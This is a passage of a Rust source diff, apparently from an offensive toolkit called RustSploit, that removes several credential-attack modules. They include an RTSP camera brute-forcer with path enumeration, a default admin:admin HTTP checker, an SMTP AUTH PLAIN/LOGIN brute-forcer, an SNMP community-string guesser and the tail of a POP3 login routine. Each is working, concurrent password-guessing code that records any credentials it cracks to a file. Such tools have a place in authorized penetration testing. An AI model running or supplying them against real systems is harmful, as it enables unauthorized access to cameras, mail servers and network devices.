let socket_addr = std::net::ToSocketAddrs::to_socket_addrs(&addr)?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let mut stream = TcpStream::connect_timeout(&socket_addr, timeout)?;
stream.set_read_timeout(Some(timeout))?;
stream.set_write_timeout(Some(timeout))?;
// Read banner
let mut buffer = [0; 1024];
stream.read(&mut buffer)?;
stream.write_all(format!("USER {}\r\n", user).as_bytes())?;
let n = stream.read(&mut buffer)?;
if !String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
return Ok(false);
}
stream.write_all(format!("PASS {}\r\n", pass).as_bytes())?;
let n = stream.read(&mut buffer)?;
if String::from_utf8_lossy(&buffer[..n]).starts_with("+OK") {
stream.write_all(b"QUIT\r\n").ok();
return Ok(true);
}
}
Ok(false)
}
File diff suppressed because it is too large Load Diff
@@ -1,437 +0,0 @@
use anyhow::{anyhow, Result};
use base64::engine::general_purpose::STANDARD as Base64;
use base64::Engine as _;
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
fs::File,
io::Write,
net::SocketAddr,
sync::Arc,
sync::atomic::{AtomicBool, Ordering},
time::Duration,
};
use tokio::{
io::{AsyncReadExt, AsyncWriteExt},
net::TcpStream,
sync::{Mutex, Semaphore},
time::sleep,
};
use crate::utils::{
prompt_yes_no, prompt_wordlist, prompt_default, prompt_int_range,
load_lines, get_filename_in_current_dir, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Advanced RTSP Brute Force Module ║".cyan());
println!("{}", "║ IP Camera and Streaming Server Credential Testing ║".cyan());
println!("{}", "║ Supports path enumeration and custom headers ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// Main entry point for the advanced RTSP brute force module.
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
let port: u16 = prompt_default("RTSP Port", "554").await?
.parse().unwrap_or(554);
let usernames_file = prompt_wordlist("Username wordlist").await?;
let passwords_file = prompt_wordlist("Password wordlist").await?;
let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 10000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
let _save_results = prompt_yes_no("Save results to file?", true).await?;
let save_path = if _save_results {
Some(prompt_default("Output file", "rtsp_results.txt").await?)
} else {
None
};
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let combo_mode = prompt_yes_no("Combination mode? (try every pass with every user)", false).await?;
let advanced_mode = prompt_yes_no("Use advanced RTSP commands/headers (DESCRIBE + custom headers)?", false).await?;
let mut advanced_headers: Vec<String> = Vec::new();
let advanced_command = if advanced_mode {
let method = prompt_default("RTSP method to use (e.g. DESCRIBE)", "DESCRIBE").await?;
if prompt_yes_no("Load extra RTSP headers from a file?", false).await? {
let headers_path = prompt_wordlist("Path to RTSP headers file").await?;
advanced_headers = load_lines(&headers_path)?;
}
Some(method)
} else {
None
};
let advanced_headers = Arc::new(advanced_headers);
let (addr, implicit_path) = normalize_target_input(target, port)?;
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new()); // Standardized stats
let semaphore = Arc::new(Semaphore::new(concurrency));
println!("\n[*] Starting brute-force on {}", addr);
let resolved_addrs = match resolve_targets(&addr).await {
Ok(addrs) => Arc::new(addrs),
Err(e) => {
eprintln!("[!] Failed to resolve '{}': {}", addr, e);
return Err(e);
}
};
let users = load_lines(&usernames_file)?;
if users.is_empty() {
println!("[!] Username wordlist is empty. Exiting.");
return Ok(());
}
let pass_lines = load_lines(&passwords_file)?;
if pass_lines.is_empty() {
println!("[!] Password wordlist is empty. Exiting.");
return Ok(());
}
let brute_force_paths = prompt_yes_no("Brute force possible RTSP paths (e.g. /stream /live)?", false).await?;
let mut paths = if brute_force_paths {
let paths_file = prompt_wordlist("Path to RTSP paths file").await?;
load_lines(&paths_file)?
} else {
vec!["".to_string()]
};
if paths.is_empty() {
println!("[!] RTSP paths list is empty. Falling back to default root path.");
paths.push(String::new());
}
if let Some(p) = implicit_path {
if !paths.iter().any(|existing| existing == &p) {
paths.insert(0, p);
}
}
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
stats_clone.print_progress();
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
}
});
let mut tasks = FuturesUnordered::new();
let mut idx = 0usize;
// Use loop structure from other modules or this module's custom loop?
// This module iterates: pass list (outer), user list (inner depending on combo), then paths.
// I will preserve the original logic flow.
for pass in pass_lines {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let userlist: Vec<String> = if combo_mode {
users.clone()
} else {
vec![users.get(idx % users.len()).unwrap_or(&users[0]).to_string()]
};
for user in userlist {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
for path in &paths {
if stop_on_success && stop.load(Ordering::Relaxed) { break; }
let addr_clone = addr.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
let path_clone = path.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let command = advanced_command.clone();
let headers = Arc::clone(&advanced_headers);
let semaphore_clone = Arc::clone(&semaphore);
let addrs_clone = Arc::clone(&resolved_addrs);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
tasks.push(tokio::spawn(async move {
if stop_flag && stop_clone.load(Ordering::Relaxed) { return; }
let permit = match semaphore_clone.acquire_owned().await {
Ok(permit) => permit,
Err(_) => return,
};
if stop_flag && stop_clone.load(Ordering::Relaxed) {
drop(permit);
return;
}
match try_rtsp_login(
addrs_clone.as_slice(),
&addr_clone,
&user_clone,
&pass_clone,
&path_clone,
command.as_deref(),
&headers,
).await {
Ok(true) => {
let path_str = if path_clone.is_empty() { "NO_PATH" } else { &path_clone };
println!("\r{}", format!("[+] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_str).green().bold());
found_clone.lock().await.push((addr_clone.clone(), user_clone.clone(), pass_clone.clone(), path_str.to_string()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> {}:{} [path={}]", addr_clone, user_clone, pass_clone, path_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {} -> error: {}", addr_clone, e).red());
}
}
}
drop(permit);
sleep(Duration::from_millis(10)).await;
}));
// Limit task generation if queue prevents high memory usage (though semaphore limits active tasks)
// The semaphore logic above (acquire_owned) already throttles concurrency.
}
}
idx += 1;
}
while let Some(res) = tasks.next().await {
if let Err(e) = res {
if verbose {
stats.record_error(format!("Task panic: {}", e)).await;
}
}
}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No credentials found (with these paths).".yellow());
} else {
println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold());
for (host, user, pass, path) in creds.iter() {
println!(" {} -> {}:{} [path={}]", host, user, pass, path);
}
if let Some(path) = save_path {
let filename = get_filename_in_current_dir(&path);
if let Ok(mut file) = File::create(&filename) {
for (host, user, pass, path) in creds.iter() {
let _ = writeln!(file, "{} -> {}:{} [path={}]", host, user, pass, path);
}
println!("[+] Results saved to '{}'", filename.display());
}
}
}
Ok(())
}
/// Resolve a host:port (literal v4/v6 or DNS) into all possible SocketAddrs.
async fn resolve_targets(addr: &str) -> Result<Vec<SocketAddr>> {
// 1) If it's a literal SocketAddr, return it directly
if let Ok(sa) = addr.parse::<SocketAddr>() {
return Ok(vec![sa]);
}
// 2) Split into host / port
let (host, port) = if let Some((h, p)) = addr.rsplit_once(':') {
(h.to_string(), p.parse().unwrap_or(554))
} else {
(addr.to_string(), 554)
};
// 3) Clean any nested brackets and format bracketed IPv6 or plain host
let host_clean = host.trim_matches(|c| c == '[' || c == ']').to_string();
let host_port = if host_clean.contains(':') {
format!("[{}]:{}", host_clean, port)
} else {
format!("{}:{}", host_clean, port)
};
// 4) DNS lookup (handles A + AAAA)
let addrs = tokio::net::lookup_host(host_port.clone())
.await
.map_err(|e| anyhow!("DNS lookup '{}': {}", host_port, e))?
.collect::<Vec<_>>();
if addrs.is_empty() {
Err(anyhow!("No addresses found for '{}'", host_port))
} else {
Ok(addrs)
}
}
/// Attempt RTSP login, trying each resolved address until one succeeds or all fail.
async fn try_rtsp_login(
addrs: &[SocketAddr],
addr_display: &str,
user: &str,
pass: &str,
path: &str,
method: Option<&str>,
extra_headers: &[String],
) -> Result<bool> {
let mut last_err = None;
let mut stream = None;
let mut connected_sa: Option<SocketAddr> = None;
// Try each candidate address
for sa in addrs {
match TcpStream::connect(*sa).await {
Ok(s) => {
stream = Some(s);
connected_sa = Some(*sa);
break;
}
Err(e) => {
last_err = Some(e);
continue;
}
}
}
// Unwrap the successful connection and SocketAddr
let (mut stream, sa) = match (stream, connected_sa) {
(Some(s), Some(sa)) => (s, sa),
_ => {
return Err(anyhow!(
"All connection attempts to {} failed: {}",
addr_display,
last_err.map(|e| e.to_string()).unwrap_or_default()
))
}
};
// Build a proper host:port string for the RTSP URI, handling IPv6 correctly
let ip_str = sa.ip().to_string();
let host_for_uri = if ip_str.contains(':') {
format!("[{}]:{}", ip_str, sa.port())
} else {
format!("{}:{}", ip_str, sa.port())
};
let rtsp_method = method.unwrap_or("OPTIONS");
let path_str = if path.is_empty() { "" } else { path };
let credentials = Base64.encode(format!("{}:{}", user, pass));
let mut request = format!(
"{method} rtsp://{host}/{path} RTSP/1.0\r\nCSeq: 1\r\nAuthorization: Basic {auth}\r\n",
method = rtsp_method,
host = host_for_uri,
path = path_str.trim_start_matches('/'),
auth = credentials,
);
for header in extra_headers {
request.push_str(header);
if !header.ends_with("\r\n") {
request.push_str("\r\n");
}
}
request.push_str("\r\n");
stream.write_all(request.as_bytes()).await?;
let mut buffer = [0u8; 2048];
let n = stream.read(&mut buffer).await?;
if n == 0 {
return Err(anyhow!("{}: server closed connection unexpectedly.", addr_display));
}
let response = String::from_utf8_lossy(&buffer[..n]);
if response.contains("200 OK") {
Ok(true)
} else if response.contains("401") || response.contains("403") {
Ok(false)
} else {
Err(anyhow!("{}: unexpected RTSP response:\n{}", addr_display, response))
}
}
fn normalize_target_input(target: &str, default_port: u16) -> Result<(String, Option<String>)> {
let trimmed = target.trim();
if trimmed.is_empty() {
return Err(anyhow!("Target cannot be empty."));
}
let without_scheme = trimmed.strip_prefix("rtsp://").unwrap_or(trimmed);
let (host_part, path_part) = if let Some((host, path)) = without_scheme.split_once('/') {
(host.trim(), Some(path.to_string()))
} else {
(without_scheme.trim(), None)
};
// Use shared normalization for the host/port part
let normalized_host = normalize_target(host_part)?;
// Check if normalized host implies a port. normalize_target returns host:port or host.
// If it has no port, we might want to append default_port, OR return it as is and let caller handle.
// However, existing logic seemed to force a port.
// Let's check if port is present.
// A simple heuristic: if it ends with digit, check for colon.
// [ipv6]:port, ipv4:port, host:port.
// If we assume normalize_target did its job, we just need to adhere to the return type.
// But wait, if normalize_target returned "host", and we want "host:554", we need to append.
// Checking for port on a normalized string:
let has_port = if normalized_host.starts_with('[') {
normalized_host.rfind(':').map(|i| i > normalized_host.rfind(']').unwrap_or(0)).unwrap_or(false)
} else {
normalized_host.contains(':')
};
let final_host = if has_port {
normalized_host
} else {
format!("{}:{}", normalized_host, default_port)
};
let normalized_path = path_part.and_then(|p| {
let truncated = p.split(|c| c == '?' || c == '#').next().unwrap_or_default();
let trimmed = truncated.trim();
if trimmed.is_empty() || trimmed == "/" {
None
} else {
let mut path = trimmed.to_string();
if !path.starts_with('/') {
path.insert(0, '/');
}
Some(path)
}
});
Ok((final_host, normalized_path))
}
// ─── Prompt and utility functions unchanged ───────────────────────────────────
@@ -1,44 +0,0 @@
use anyhow::{Result, Context};
use colored::*;
use reqwest;
use std::time::Duration;
const DEFAULT_TIMEOUT_SECS: u64 = 10;
fn display_banner() {
println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan());
println!("{}", "║ Sample Default Credential Checker ║".cyan());
println!("{}", "║ HTTP Basic Auth Test Module ║".cyan());
println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan());
println!();
}
/// A sample credential check - tries a basic auth login
pub async fn run(target: &str) -> Result<()> {
display_banner();
println!("{}", format!("[*] Target: {}", target).cyan());
println!("{}", "[*] Checking default credentials (admin:admin)...".cyan());
println!();
let url = format!("http://{}/login", target);
let client = reqwest::Client::builder()
.danger_accept_invalid_certs(true)
.timeout(Duration::from_secs(DEFAULT_TIMEOUT_SECS))
.build()?;
let resp = client
.post(&url)
.basic_auth("admin", Some("admin"))
.send()
.await
.context("Failed to send login request")?;
if resp.status().is_success() {
println!("{}", "[+] Default credentials admin:admin are valid!".green().bold());
} else {
println!("{}", "[-] Default credentials admin:admin failed.".yellow());
}
Ok(())
}
@@ -1,295 +0,0 @@
use anyhow::{anyhow, Context, Result};
use colored::*;
use std::net::{TcpStream, ToSocketAddrs};
use std::sync::{
atomic::{AtomicBool, Ordering},
Arc,
};
use std::time::Duration;
use tokio::sync::{Mutex, Semaphore};
use futures::stream::{FuturesUnordered, StreamExt};
use telnet::{Telnet, Event};
use base64::{engine::general_purpose, Engine as _};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default,
};
use crate::modules::creds::utils::BruteforceStats;
#[derive(Clone)]
struct SmtpBruteforceConfig {
target: String,
port: u16,
username_wordlist: String,
password_wordlist: String,
threads: usize,
stop_on_success: bool,
verbose: bool,
full_combo: bool,
output_file: String,
delay_ms: u64,
}
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SMTP Bruteforce Module (RustSploit) ===".bold().cyan());
println!();
let port = prompt_int_range("Port", 25, 1, 65535).await? as u16;
let username_wordlist = prompt_existing_file("Username wordlist file").await?;
let password_wordlist = prompt_existing_file("Password wordlist file").await?;
let threads = prompt_int_range("Threads", 8, 1, 256).await? as usize;
let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000).await? as u64;
let stop_on_success = prompt_yes_no("Stop on first valid login?", true).await?;
let full_combo = prompt_yes_no("Try every username with every password?", false).await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let output_file = prompt_default("Output file for results", "smtp_results.txt").await?;
let config = SmtpBruteforceConfig {
target: target.to_string(),
port,
username_wordlist,
password_wordlist,
threads,
stop_on_success,
verbose,
full_combo,
output_file,
delay_ms,
};
println!();
run_smtp_bruteforce(config).await
}
async fn run_smtp_bruteforce(config: SmtpBruteforceConfig) -> Result<()> {
let usernames = load_lines(&config.username_wordlist)?;
let passwords = load_lines(&config.password_wordlist)?;
let total_attempts = if config.full_combo {
usernames.len() * passwords.len()
} else {
std::cmp::max(usernames.len(), passwords.len())
};
println!("[*] Loaded {} usernames, {} passwords", usernames.len(), passwords.len());
println!("[*] Total attempts: {}", total_attempts);
let stats = Arc::new(BruteforceStats::new());
let found_creds = Arc::new(Mutex::new(Vec::new()));
let stop_signal = Arc::new(AtomicBool::new(false));
let _start_time = std::time::Instant::now();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop_signal.clone();
let progress_handle = tokio::spawn(async move {
while !stop_clone.load(Ordering::Relaxed) {
tokio::time::sleep(Duration::from_secs(2)).await;
stats_clone.print_progress();
}
});
let semaphore = Arc::new(Semaphore::new(config.threads));
let mut tasks = FuturesUnordered::new();
// Generate combinations
let mut combos = Vec::new();
if config.full_combo {
for u in &usernames {
for p in &passwords {
combos.push((u.clone(), p.clone()));
}
}
} else {
let max_len = std::cmp::max(usernames.len(), passwords.len());
for i in 0..max_len {
let u = &usernames[i % usernames.len()];
let p = &passwords[i % passwords.len()];
combos.push((u.clone(), p.clone()));
}
}
// Process combinations
for (user, pass) in combos {
if config.stop_on_success && stop_signal.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let config_clone = config.clone();
let stats_clone = stats.clone();
let found_clone = found_creds.clone();
let stop_signal_clone = stop_signal.clone();
let user_clone = user.clone();
let pass_clone = pass.clone();
tasks.push(tokio::spawn(async move {
let _permit = permit;
if config_clone.stop_on_success && stop_signal_clone.load(Ordering::Relaxed) {
return;
}
// Wrap blocking logic
let config_inner = config_clone.clone();
let user_inner = user_clone.clone();
let pass_inner = pass_clone.clone();
let res = tokio::task::spawn_blocking(move || {
match try_smtp_login(&config_inner.target, config_inner.port, &user_inner, &pass_inner) {
Ok(true) => Ok(true),
Ok(false) => Ok(false),
Err(e) => Err(e),
}
}).await;
match res {
Ok(Ok(true)) => {
println!("\r{}", format!("[+] Found: {}:{}", user_clone, pass_clone).green().bold());
found_clone.lock().await.push((user_clone.clone(), pass_clone.clone()));
stats_clone.record_success();
if config_clone.stop_on_success {
stop_signal_clone.store(true, Ordering::Relaxed);
}
},
Ok(Ok(false)) => {
stats_clone.record_failure();
if config_clone.verbose {
println!("\r{}", format!("[-] Failed: {}:{}", user_clone, pass_clone).dimmed());
}
},
Ok(Err(e)) => {
stats_clone.record_error(e.to_string()).await;
if config_clone.verbose {
println!("\r{}", format!("[!] Error {}:{}: {}", user_clone, pass_clone, e).red());
}
},
Err(e) => {
stats_clone.record_error(format!("Task panic: {}", e)).await;
}
}
if config_clone.delay_ms > 0 {
tokio::time::sleep(Duration::from_millis(config_clone.delay_ms)).await;
}
}));
// Memory management: drain completed tasks
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
stop_signal.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
stats.print_final().await;
// Save results
let found = found_creds.lock().await;
if !found.is_empty() {
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&config.output_file) {
use std::io::Write;
for (u, p) in found.iter() {
let _ = writeln!(file, "{}:{}", u, p);
}
println!("[+] Results saved to {}", config.output_file);
}
}
Ok(())
}
fn try_smtp_login(target: &str, port: u16, username: &str, password: &str) -> Result<bool> {
let addr = format!("{}:{}", target, port);
let socket = addr.to_socket_addrs()?.next().ok_or_else(|| anyhow!("Resolution failed"))?;
let stream = TcpStream::connect_timeout(&socket, Duration::from_millis(2000))?;
stream.set_read_timeout(Some(Duration::from_millis(2000)))?;
stream.set_write_timeout(Some(Duration::from_millis(2000)))?;
let mut telnet = Telnet::from_stream(Box::new(stream), 512);
let mut banner_ok = false;
for _ in 0..3 {
let event = telnet.read().context("Banner read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("220") { banner_ok = true; break; }
}
}
if !banner_ok { return Err(anyhow!("No 220 banner")); }
telnet.write(b"EHLO scanner\r\n")?;
let mut login_ok = false;
let mut plain_ok = false;
let mut ehlo_seen = false;
for _ in 0..6 {
let event = telnet.read().context("EHLO read")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.contains("AUTH") && s.contains("PLAIN") { plain_ok = true; }
if s.contains("AUTH") && s.contains("LOGIN") { login_ok = true; }
if s.starts_with("250 ") { ehlo_seen = true; break; }
}
}
if !ehlo_seen { return Ok(false); }
// Try AUTH PLAIN
if plain_ok {
let mut blob = vec![0];
blob.extend(username.as_bytes()); blob.push(0); blob.extend(password.as_bytes());
let cmd = format!("AUTH PLAIN {}\r\n", general_purpose::STANDARD.encode(&blob));
telnet.write(cmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
// Try AUTH LOGIN
if login_ok {
telnet.write(b"AUTH LOGIN\r\n")?;
// Wait for username prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Login prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let ucmd = format!("{}\r\n", general_purpose::STANDARD.encode(username.as_bytes()));
telnet.write(ucmd.as_bytes())?;
// Wait for password prompt (334)
for _ in 0..2 {
let event = telnet.read().context("Auth Pass prompt")?;
if let Event::Data(b) = event {
if String::from_utf8_lossy(&b).starts_with("334") { break; }
}
}
let pcmd = format!("{}\r\n", general_purpose::STANDARD.encode(password.as_bytes()));
telnet.write(pcmd.as_bytes())?;
for _ in 0..2 {
let event = telnet.read().context("Auth final response")?;
if let Event::Data(b) = event {
let s = String::from_utf8_lossy(&b);
if s.starts_with("235") { telnet.write(b"QUIT\r\n").ok(); return Ok(true); }
if s.starts_with("535") || s.starts_with("5") { return Ok(false); }
}
}
}
Ok(false)
}
@@ -1,533 +0,0 @@
use anyhow::{anyhow, Result};
use colored::*;
use futures::stream::{FuturesUnordered, StreamExt};
use std::{
io::Write,
net::{SocketAddr, UdpSocket},
sync::Arc,
time::{Duration, Instant},
};
use std::sync::atomic::{AtomicBool, Ordering};
use tokio::{
sync::Mutex,
sync::Semaphore,
task::spawn_blocking,
time::sleep,
};
use crate::utils::{
prompt_yes_no, prompt_existing_file, prompt_int_range,
load_lines, prompt_default, normalize_target,
};
use crate::modules::creds::utils::BruteforceStats;
const PROGRESS_INTERVAL_SECS: u64 = 2;
pub async fn run(target: &str) -> Result<()> {
println!("\n{}", "=== SNMPv1/v2c Brute Force Module ===".bold().cyan());
println!("{}", " Community String Discovery Tool".cyan());
println!();
println!("{}", format!("[*] Target: {}", target).cyan());
let default_port = 161;
let port = prompt_int_range("SNMP Port", default_port as i64, 1, 65535).await? as u16;
let communities_file = prompt_existing_file("Community string wordlist file path").await?;
// Custom prompt for version since it's specific
let snmp_version = loop {
let input = prompt_default("SNMP Version (1 or 2c)", "2c").await?;
match input.trim().to_lowercase().as_str() {
"1" => break 0, // SNMPv1
"2c" | "2" => break 1, // SNMPv2c
_ => println!("Invalid version. Enter '1' or '2c'."),
}
};
let concurrency = prompt_int_range("Max concurrent tasks", 50, 1, 1000).await? as usize;
let stop_on_success = prompt_yes_no("Stop on first success?", true).await?;
// Output file handled by saving results at the end usually, but old code asked upfront.
// I'll stick to standard flow: prompt for save at end OR automatically if specified.
// Existing modules prompted for output file upfront. I'll do that for consistency with new standard.
let output_file = prompt_default("Output file", "snmp_results.txt").await?;
let verbose = prompt_yes_no("Verbose mode?", false).await?;
let timeout_secs = prompt_int_range("Timeout (seconds)", 3, 1, 300).await? as u64;
let connect_addr = format!("{}:{}", normalize_target(target)?, port);
let found = Arc::new(Mutex::new(Vec::new()));
let stop = Arc::new(AtomicBool::new(false));
let stats = Arc::new(BruteforceStats::new());
println!("\n[*] Starting SNMP brute-force on {}", connect_addr);
println!("[*] SNMP Version: {}", if snmp_version == 0 { "v1" } else { "v2c" });
let communities = load_lines(&communities_file)?;
if communities.is_empty() {
println!("[!] Community wordlist is empty. Exiting.");
return Ok(());
}
println!("{}", format!("[*] Loaded {} community strings", communities.len()).cyan());
println!();
// Start progress reporter
let stats_clone = stats.clone();
let stop_clone = stop.clone();
let _start_time = Instant::now();
let progress_handle = tokio::spawn(async move {
loop {
if stop_clone.load(Ordering::Relaxed) {
break;
}
sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await;
stats_clone.print_progress();
}
});
let communities = Arc::new(communities);
let mut tasks = FuturesUnordered::new();
let semaphore = Arc::new(Semaphore::new(concurrency));
for community in communities.iter() {
if stop_on_success && stop.load(Ordering::Relaxed) {
break;
}
let permit = semaphore.clone().acquire_owned().await?;
let addr_clone = connect_addr.clone();
let community_clone = community.clone();
let found_clone = Arc::clone(&found);
let stop_clone = Arc::clone(&stop);
let stats_clone = Arc::clone(&stats);
let stop_flag = stop_on_success;
let verbose_flag = verbose;
let version = snmp_version;
let timeout = Duration::from_secs(timeout_secs);
tasks.push(tokio::spawn(async move {
let _permit = permit;
if stop_flag && stop_clone.load(Ordering::Relaxed) {
return;
}
match try_snmp_community(&addr_clone, &community_clone, version, timeout).await {
Ok(true) => {
println!("\r{}", format!("[+] {} -> community: '{}'", addr_clone, community_clone).green().bold());
found_clone
.lock()
.await
.push((addr_clone.clone(), community_clone.clone()));
stats_clone.record_success();
if stop_flag {
stop_clone.store(true, Ordering::Relaxed);
}
}
Ok(false) => {
stats_clone.record_failure();
if verbose_flag {
println!("\r{}", format!("[-] {} -> community: '{}'", addr_clone, community_clone).dimmed());
}
}
Err(e) => {
stats_clone.record_error(e.to_string()).await;
if verbose_flag {
println!("\r{}", format!("[!] {}: error: {}", addr_clone, e).red());
}
}
}
sleep(Duration::from_millis(10)).await;
}));
// Drain
while let std::task::Poll::Ready(Some(_)) = futures::future::poll_fn(|cx| std::task::Poll::Ready(tasks.poll_next_unpin(cx))).await {}
}
while let Some(_) = tasks.next().await {}
// Stop progress reporter
stop.store(true, Ordering::Relaxed);
let _ = progress_handle.await;
// Print final statistics
stats.print_final().await;
let creds = found.lock().await;
if creds.is_empty() {
println!("{}", "[-] No valid community strings found.".yellow());
} else {
println!("{}", format!("[+] Found {} valid community string(s):", creds.len()).green().bold());
if let Ok(mut file) = std::fs::OpenOptions::new().create(true).append(true).open(&output_file) {
for (host, community) in creds.iter() {
println!(" {} -> community: '{}'", host, community);
let _ = writeln!(file, "{} -> community: '{}'", host, community);
}
println!("[+] Results saved to '{}'", output_file);
}
}
Ok(())
}
async fn try_snmp_community(
normalized_addr: &str,
community: &str,
version: u8, // 0 = v1, 1 = v2c
timeout: Duration,
) -> Result<bool> {
let community_owned = community.to_string();
let addr_owned = normalized_addr.to_string();
let result = spawn_blocking(move || -> Result<bool, anyhow::Error> {
// Parse the address
let addr: SocketAddr = addr_owned
.parse()
.map_err(|e| anyhow!("Invalid address '{}': {}", addr_owned, e))?;
// Create UDP socket
let socket = UdpSocket::bind("0.0.0.0:0")
.map_err(|e| anyhow!("Failed to bind socket: {}", e))?;
socket
.set_read_timeout(Some(timeout))
.map_err(|e| anyhow!("Failed to set read timeout: {}", e))?;
// Build SNMP GET request manually
// OID: 1.3.6.1.2.1.1.1.0 (sysDescr)
let message = build_snmp_get_request(&community_owned, version);
// Send request
socket
.send_to(&message, &addr)
.map_err(|e| anyhow!("Failed to send SNMP request: {}", e))?;
// Receive response
let mut buf = vec![0u8; 4096];
let result: bool = match socket.recv_from(&mut buf) {
Ok((size, _)) => {
let response = &buf[..size];
// Parse SNMP response to verify it's valid
// A valid SNMP response should:
// 1. Start with 0x30 (SEQUENCE)
// 2. Contain version, community, and PDU
// 3. Have error status = 0 (noError) in the response PDU
if size >= 20 && response[0] == 0x30 {
// Try to parse the response to check error status
// If we can parse it and error status is 0, it's valid
match parse_snmp_response(response) {
Ok(true) => true, // Valid community string
Ok(false) => false, // Invalid community (error in response)
Err(_) => {
// Can't parse, but got a response - might be valid
// Some devices send malformed responses but still indicate valid community
true
}
}
} else {
// Malformed response - likely invalid
false
}
}
Err(e) => {
// Handle timeout and EAGAIN/EWOULDBLOCK errors as invalid community
// EAGAIN (os error 11) can occur on Linux when socket would block
let error_kind = e.kind();
if error_kind == std::io::ErrorKind::TimedOut
|| error_kind == std::io::ErrorKind::WouldBlock
|| e.raw_os_error() == Some(11) // EAGAIN on Linux
|| e.raw_os_error() == Some(35) // EAGAIN on macOS
{
// Timeout or would block - community string is likely invalid
false
} else {
// Other errors might be transient, but log them
// For now, treat as invalid to avoid false positives
false
}
}
};
Ok(result)
})
.await
.map_err(|e| anyhow!("Task join error: {}", e))?;
result
}
/// Parses SNMP response to check if error status is 0 (noError)
/// Returns Ok(true) if valid, Ok(false) if error status != 0, Err if can't parse
fn parse_snmp_response(response: &[u8]) -> Result<bool> {
if response.len() < 20 || response[0] != 0x30 {
return Err(anyhow!("Invalid SNMP response header"));
}
// Try to find the PDU (GetResponse-PDU = 0xa2)
// The structure is: SEQUENCE (version, community, PDU)
// We need to skip version and community to get to the PDU
let mut pos = 1;
// Skip length of outer SEQUENCE
if pos >= response.len() {
return Err(anyhow!("Response too short"));
}
let (_len, len_bytes) = parse_ber_length(&response[pos..])?;
pos += len_bytes;
// Skip version (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid version field"));
}
pos += 1;
let (vlen, vlen_bytes) = parse_ber_length(&response[pos..])?;
pos += vlen_bytes + vlen;
// Skip community (OCTET STRING)
if pos >= response.len() || response[pos] != 0x04 {
return Err(anyhow!("Invalid community field"));
}
pos += 1;
let (clen, clen_bytes) = parse_ber_length(&response[pos..])?;
pos += clen_bytes + clen;
// Now we should be at the PDU
// GetResponse-PDU = 0xa2, GetRequest-PDU = 0xa0
if pos >= response.len() {
return Err(anyhow!("Response too short for PDU"));
}
let pdu_tag = response[pos];
if pdu_tag != 0xa2 && pdu_tag != 0xa0 {
// Not a GetResponse or GetRequest, might be an error
return Ok(false);
}
pos += 1;
let (_pdu_len, pdu_len_bytes) = parse_ber_length(&response[pos..])?;
pos += pdu_len_bytes;
// PDU structure: request-id, error-status, error-index, variable-bindings
// Skip request-id (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid request-id field"));
}
pos += 1;
let (rid_len, rid_len_bytes) = parse_ber_length(&response[pos..])?;
pos += rid_len_bytes + rid_len;
// Read error-status (INTEGER)
if pos >= response.len() || response[pos] != 0x02 {
return Err(anyhow!("Invalid error-status field"));
}
pos += 1;
